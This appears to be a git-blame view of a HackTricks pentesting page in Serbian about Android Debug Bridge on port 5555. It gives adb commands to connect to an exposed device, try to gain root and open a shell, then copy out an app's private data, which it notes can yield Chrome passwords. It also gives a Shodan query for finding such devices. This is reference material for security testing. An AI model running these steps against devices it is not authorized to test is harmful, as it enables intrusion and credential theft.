hacktricks/network-services-pentesting/5555-android-debug-bridge.md

70 lines
4 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5555 - Android Debug Bridge
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Osnovne informacije
2021-11-12 01:11:08 +00:00
2024-02-10 13:11:20 +00:00
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
2024-02-08 21:36:35 +00:00
2024-02-10 13:11:20 +00:00
**Android Debug Bridge** (adb) je svestran alat za komandnu liniju koji vam omogućava komunikaciju sa uređajem. adb komanda omogućava razne radnje na uređaju, kao što su **instaliranje i debagovanje aplikacija**, i pruža **pristup Unix shell-u** koji možete koristiti za izvršavanje raznih komandi na uređaju.
2021-11-12 01:11:08 +00:00
2024-02-10 13:11:20 +00:00
**Podrazumevani port**: 5555.
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
2024-02-10 13:11:20 +00:00
## Povezivanje
2021-11-12 01:11:08 +00:00
2024-02-10 13:11:20 +00:00
Ako pronađete ADB uslugu koja radi na određenom portu uređaja i možete se povezati s njom, **možete dobiti pristup ljusci unutar sistema:**
2021-11-12 01:11:08 +00:00
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
2024-02-10 13:11:20 +00:00
Za više ADB komandi pogledajte sledeću stranicu:
2021-11-12 01:11:08 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
2021-11-12 01:11:08 +00:00
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
### Dumpovanje podataka aplikacije
2021-11-12 01:11:08 +00:00
2024-02-10 13:11:20 +00:00
Da biste potpuno preuzeli podatke neke aplikacije, možete:
2021-11-12 01:11:08 +00:00
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
2024-02-10 13:11:20 +00:00
Možete koristiti ovu tehniku da **dobijete osetljive informacije poput Chrome lozinki**. Za više informacija o tome, proverite informacije i reference koje su dostupne [**ovde**](https://github.com/carlospolop/hacktricks/issues/274).
2022-05-01 13:25:53 +00:00
## Shodan
* `android debug bridge`
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini da podržite HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>